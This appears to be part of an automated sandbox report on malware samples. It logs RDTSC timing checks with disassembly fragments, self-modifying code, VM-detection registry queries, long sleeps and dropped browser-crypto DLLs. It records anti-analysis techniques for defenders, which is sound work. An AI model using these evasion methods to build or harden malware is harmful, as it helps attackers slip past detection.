Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BE80E5 second address: BE80F0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007F3B80B67556h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BEA584 second address: BEA5A3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3B813BFB86h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F3B813BFB90h 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BED910 second address: BED914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BED914 second address: BED91A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BED91A second address: BED932 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3B80B6755Ah 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BED932 second address: BED936 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BEDB2E second address: BEDB34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BEDB34 second address: BEDB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 ja 00007F3B813BFB86h 0x0000000f pop eax 0x00000010 pop esi 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jnl 00007F3B813BFB94h 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F3B813BFB8Bh 0x00000024 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BEDB6C second address: BEDB8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BEDC56 second address: BEDC5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BEDC5A second address: BEDC64 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BEDC64 second address: BEDC68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF372B second address: BF3768 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3B80B67565h 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f jnp 00007F3B80B67558h 0x00000015 push edx 0x00000016 pop edx 0x00000017 popad 0x00000018 pushad 0x00000019 je 00007F3B80B6755Ch 0x0000001f jo 00007F3B80B67556h 0x00000025 js 00007F3B80B6755Ch 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF3A3A second address: BF3A44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF3A44 second address: BF3A5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67567h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF4013 second address: BF4017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF4017 second address: BF4023 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 ja 00007F3B80B67556h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF6129 second address: BF6142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3B813BFB95h 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF6142 second address: BF6164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3B80B67566h 0x00000011 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF6654 second address: BF665B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF6E0C second address: BF6E27 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F3B80B67558h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jne 00007F3B80B67556h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF6E27 second address: BF6E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF6E2C second address: BF6E31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF6E31 second address: BF6E37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF70AC second address: BF70B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF73E5 second address: BF73EA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF73EA second address: BF7425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F3B80B67558h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 xor dword ptr [ebp+122D32F3h], edx 0x0000002a xchg eax, ebx 0x0000002b pushad 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f pop edx 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF9321 second address: BF9398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F3B813BFB94h 0x0000000f popad 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 jmp 00007F3B813BFB8Eh 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e call 00007F3B813BFB88h 0x00000023 pop eax 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc eax 0x00000031 push eax 0x00000032 ret 0x00000033 pop eax 0x00000034 ret 0x00000035 push 00000000h 0x00000037 mov edi, 43A4368Dh 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 jmp 00007F3B813BFB8Fh 0x00000045 jmp 00007F3B813BFB8Dh 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF9398 second address: BF939E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF939E second address: BF93A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF93A2 second address: BF93A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BFC029 second address: BFC034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F3B813BFB86h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BFCAC5 second address: BFCAC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BF808C second address: BF809F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3B813BFB8Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BFF2F9 second address: BFF312 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BFF312 second address: BFF316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: BB3F99 second address: BB3FB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3B80B67562h 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: C02D10 second address: C02D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: C02D14 second address: C02D19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: C04E61 second address: C04E7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: C04E7C second address: C04F07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3B80B67563h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007F3B80B6755Bh 0x00000014 jc 00007F3B80B67558h 0x0000001a popad 0x0000001b nop 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F3B80B67558h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 0000001Bh 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 push 00000000h 0x00000038 movzx ebx, di 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007F3B80B67558h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 0000001Dh 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 xchg eax, esi 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b jl 00007F3B80B67556h 0x00000061 rdtsc
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	RDTSC instruction interceptor: First address: C04F07 second address: C04F11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D1FC5D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D1FD40 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F52B70 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Special instruction interceptor: First address: BED9CF instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Special instruction interceptor: First address: BF4C66 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Special instruction interceptor: First address: C776D6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 112D9CF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1134C66 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 11B76D6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Special instruction interceptor: First address: 34A7AD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Special instruction interceptor: First address: 348666 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Special instruction interceptor: First address: 522A8C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Special instruction interceptor: First address: 581BF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Special instruction interceptor: First address: 121FC5D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Special instruction interceptor: First address: 121FD40 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Special instruction interceptor: First address: 1452B70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Special instruction interceptor: First address: B1DB34 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Special instruction interceptor: First address: CC4D13 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Special instruction interceptor: First address: 5DFDB34 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Special instruction interceptor: First address: 5FA4D13 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Special instruction interceptor: First address: 1345232 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Special instruction interceptor: First address: 1517B04 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Special instruction interceptor: First address: 15038EB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Special instruction interceptor: First address: 157B4AE instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Memory allocated: 51D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Memory allocated: 53A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Memory allocated: 73A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Memory allocated: 5320000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Memory allocated: 5560000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Memory allocated: 5320000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\EBFHJEGDAF.exe

Code function: 14_2_053D0090 rdtsc

14_2_053D0090

Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 408	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1083	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 794	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 409	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 389	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1045	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 3137	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 571	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Window / User API: threadDelayed 454
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Window / User API: threadDelayed 9046

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1010359001\76ee5543cc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1010358001\82d9128a9d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[3].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 1864	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5344	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5344	Thread sleep time: -76038s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5348	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5348	Thread sleep time: -80040s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2716	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2716	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2876	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4712	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4712	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4952	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4952	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6052	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2828	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1480	Thread sleep count: 408 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1480	Thread sleep time: -816408s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6400	Thread sleep count: 1083 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6400	Thread sleep time: -2167083s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6448	Thread sleep count: 794 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6448	Thread sleep time: -1588794s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2820	Thread sleep count: 279 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2820	Thread sleep time: -8370000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3924	Thread sleep count: 409 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3924	Thread sleep time: -818409s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7136	Thread sleep count: 389 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7136	Thread sleep time: -778389s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7540	Thread sleep count: 222 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7540	Thread sleep time: -444222s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7396	Thread sleep count: 1045 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7396	Thread sleep time: -2091045s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7396	Thread sleep count: 3137 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7396	Thread sleep time: -6277137s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6400	Thread sleep count: 571 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6400	Thread sleep time: -1142571s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe TID: 7576	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe TID: 2472	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe TID: 7344	Thread sleep time: -40000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe TID: 7928	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe TID: 6500	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe TID: 7572	Thread sleep time: -52026s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe TID: 7552	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe TID: 1196	Thread sleep time: -62031s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe TID: 5596	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe TID: 6324	Thread sleep time: -36000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe TID: 4256	Thread sleep time: -56028s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe TID: 4856	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe TID: 7584	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe TID: 7548	Thread sleep time: -42021s >= -30000s
